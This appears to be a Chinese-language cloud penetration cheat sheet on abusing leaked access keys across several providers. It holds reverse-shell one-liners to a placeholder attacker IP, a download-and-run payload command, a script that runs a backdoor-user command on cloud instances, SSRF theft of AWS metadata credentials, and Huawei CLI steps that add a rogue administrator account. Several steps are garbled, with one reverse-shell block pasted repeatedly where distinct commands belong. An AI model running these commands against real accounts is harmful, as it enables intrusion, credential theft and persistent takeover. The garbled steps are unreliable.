参考文章:
阿里云:https://mp.weixin.qq.com/s/ACzEBaP72_JHRBZzVYtRVA
腾讯云:https://mp.weixin.qq.com/s/Sn3-e0mU-mrzzEXwWJUX6A
AWS:https://mp.weixin.qq.com/s/6MaRiXk5_VUYfL1TWcGR4Q
谷歌云:https://mp.weixin.qq.com/s/GsgD-rIQqGdv2cGslsYrDw
华为云:https://www.wangan.com/p/7fy7f40b2cdf6583
1. 利用aksk_tool反弹shell命令
Linux主机:
bash shell上线:
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
viper上线:
cmd=wget -qO pqE8kPF12 --no-check-certificate https://IP:PORT/VunXENDY
cmd=chmod +x pqE8kPF12
cmd=./pqE8kPF12
cmd=disow
Windows主机:
python脚本:
#!/usr/bin/env python
#coding=utf-8
#pip install aliyun-python-sdk-core
#pip install aliyun-python-sdk-ecs
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.RunCommandRequest import RunCommandRequest
import base64
command = str(base64.b64encode("net user test1 QWEqwe123@ /add".encode('utf-8')),'utf-8')
client = AcsClient('LTAI5t*', 'fb6GGU*', 'cn-hangzhou')
request = RunCommandRequest()
request.set_accept_format('json')
#request.set_Type("RunShellScript") #linux
request.set_Type("RunPowerShellScript") #windows
request.set_CommandContent(command)
request.set_InstanceIds(["i-bp16ab0srih3ydy25bf7"])
request.set_ContentEncoding("Base64")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
2.添加云账户
利用cf工具一键添加
./cf alibaba(tencent) console
1. AWS
利用ssrf获取AKSK
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?
2. Aliyun、腾讯云
暂未有直接获取AKSK的接口
1. 工具安装使用(KooCLI)
利管理员权限一键安装脚本
sudo curl -sSL https://hwcloudcli.obs.cn-north-1.myhuaweicloud.com/cli/latest/hcloud_install.sh -o ./hcloud_install.sh && bash ./hcloud_install.sh -y
2. 添加云账户
2.1 配置AKSK:
hcloud configure set --cli-access-key=AceeskeyID --cli-secret-key=Accesskeysecret
2.2 列出存在ECS的主机:
hcloud ECS ListServersDetails --cli-region="cn-east-3"
区域可以在行云管家导入KEY后,对照官方地区表即可(https://developer.huaweicloud.com/endpoint)
2.3 添加云账户
hcloud IAM KeystoneCreateUser --cli-region="cn-east-3" --user.password="username" --user.name="password"
执行后会返回一串json数据,记住id后续会用到
2.4 管理员用户组
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
0
执行后记住管理用户组的id
2.5 添加管理员用户组
利用上述获取的用户id以及管理员用户组的ID即可将新增用户添加至管理员用户组
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
1
2.6 获取IAM登录链接
列出所有的用户
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
2
所获结果description中存在administrator的即为管理员,name为租户名
因此IAM登陆链接为
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
3
利用所添加的用户名密码登陆即可
2.7删除用户
cmd=echo "bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1" > ah2.sh
cmd=chmod +x ah3.sh
cmd=bash ah3.sh
4
夯实安全责任
共筑网络安全
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...